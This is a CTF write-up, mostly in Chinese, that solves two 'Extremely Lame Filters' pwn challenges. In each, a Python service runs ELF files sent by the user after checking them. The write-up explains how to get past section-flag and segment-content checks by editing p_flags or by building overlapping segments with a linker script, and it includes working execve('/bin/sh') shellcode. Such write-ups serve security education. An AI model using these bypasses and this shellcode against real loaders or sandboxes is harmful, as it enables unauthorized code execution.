pwn

Extremely Lame Filters 1

#!/usr/bin/python3

from elf import *
from base64 import b64decode

data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!!"))
elf = parse(data)

for section in elf.sections:
    if section.sh_flags & SectionFlags.EXECINSTR:
        raise ValidationException("!!")

elf.run()

https://www.man7.org/linux/man-pages/man5/elf.5.html

程序检查 elf中是否存在 sh_flags设置过execinstr标志位的section来判断是否存在有可执行权限的段,但实际上段的权限和program header的p_flags标志位有关,所以可以通过修改sh_flags以及p_flags的值去绕过上面的检查执行shellcode

program_header_table是一个描述程序的每个段如何加载到内存的表,它定义了进程运行时内存布局

program_header_table的位置可以通过elf_header中PHT的偏移找到

lhj@lhj-virtual-machine:~/Desktop/squ1rrel/Extremely Lame Filters 1$ readelf -a shellcode
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x401000
  Start of program headers:          64 (bytes into file)
  Start of section headers:          4336 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         2
  Size of section headers:           64 (bytes)
  Number of section headers:         5
  Section header string table index: 4

成员的结构如下 每个成员的解释可以在man7中找到 https://www.man7.org/linux/man-pages/man5/elf.5.html

typedef struct {
    uint32_t   p_type;
    uint32_t   p_flags;
    Elf64_Off  p_offset;
    Elf64_Addr p_vaddr;
    Elf64_Addr p_paddr;
    uint64_t   p_filesz;
    uint64_t   p_memsz;
    uint64_t   p_align;
} Elf64_Phdr;

我们关注p_flags这个成员,这个成员描述section加载到内存后segment的属性,有PF_X PF_W PF_R三个标志位,存储上分别是1 2 4,如果要让段有rwx的权限,只需要将p_flags的值修改成7就行。

p_flags
       This member holds a bit mask of flags relevant to the
       segment:

       PF_X   An executable segment.
       PF_W   A writable segment.
       PF_R   A readable segment.

       A text segment commonly has the flags PF_X and PF_R.  A
       data segment commonly has PF_W and PF_R.

section_header_table 是一个描述每个节基本信息的数组可以通过elf_header中的 SHT偏移找到,和上面方法相同。

typedef struct {
    uint32_t   sh_name;
    uint32_t   sh_type;
    uint64_t   sh_flags;
    Elf64_Addr sh_addr;
    Elf64_Off  sh_offset;
    uint64_t   sh_size;
    uint32_t   sh_link;
    uint32_t   sh_info;
    uint64_t   sh_addralign;
    uint64_t   sh_entsize;
} Elf64_Shdr;

sh_flags的解释

sh_flags
       Sections support one-bit flags that describe miscellaneous
       attributes.  If a flag bit is set in sh_flags, the
       attribute is "on" for the section.  Otherwise, the
       attribute is "off" or does not apply.  Undefined attributes
       are set to zero.

       SHF_WRITE
              This section contains data that should be writable
              during process execution.

       SHF_ALLOC
              This section occupies memory during process
              execution.  Some control sections do not reside in
              the memory image of an object file.  This attribute
              is off for those sections.

       SHF_EXECINSTR
              This section contains executable machine
              instructions.

       SHF_MASKPROC
              All bits included in this mask are reserved for
              processor-specific semantics.

shellcode.asm

; nasm -f elf64 -o shellcode.o shellcode.asm
; ld shellcode.o -o shellcode
section .data
global _start
_start:
    mov rax,0x68732f6e69622f
    push rax
    push rsp
    pop rdi
    push 0x3b
    pop rax
    xor esi, esi
    xor edx, edx
    syscall

编译shellcode.asm,因为data段的sh_flags中的EXECINSTR标志位默认不会设置所以不需要修改,然后在program header有关data section的p_flags加上PF-X的标志位就能绕过检查getshell

Extremely Lame Filters 2

#!/usr/bin/python3

from elf import *
from base64 import b64decode

data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!! (almost any)"))
elf = parse(data)

if elf.header.e_type != constants.ET_EXEC:
    print("!!")
    exit(1)

for segment in elf.segments:
    if segment.p_flags & SegmentFlags.X:
        content = elf.content(segment)
        for byte in content:
            if byte != 0:
                print(">:(")
                exit(1)

elf.run()

有可执行权限的段,不能包含00以外的字节。可以构造两个内存重叠的段,利用加载器处理段权限的逻辑去绕过这个检查

通过自定义链接器脚本去实现构造重叠段的elf

link.ld

ENTRY(_start)

PHDRS {
    data PT_LOAD FLAGS (6);      /* RW */
    zeroexec PT_LOAD FLAGS (5);  /* RX */
}

SECTIONS {
    .text 0x400000 : AT(0x1000) {
        *(.text)
        *(.data)
    } :data

    .zeroexec 0x400100 : {
        . = 0x100;  
    } :zeroexec

    /DISCARD/ : {
        *(.comment)
    }
}

shellcode.asm

section .data
global _start
_start:
    mov rax, 59
    lea rdi, [rel sh]
    xor rsi, rsi
    xor rdx, rdx
    syscall
sh: db '/bin/sh',0

section .zeroexec
    times 0x100 db 0
⬆︎TOP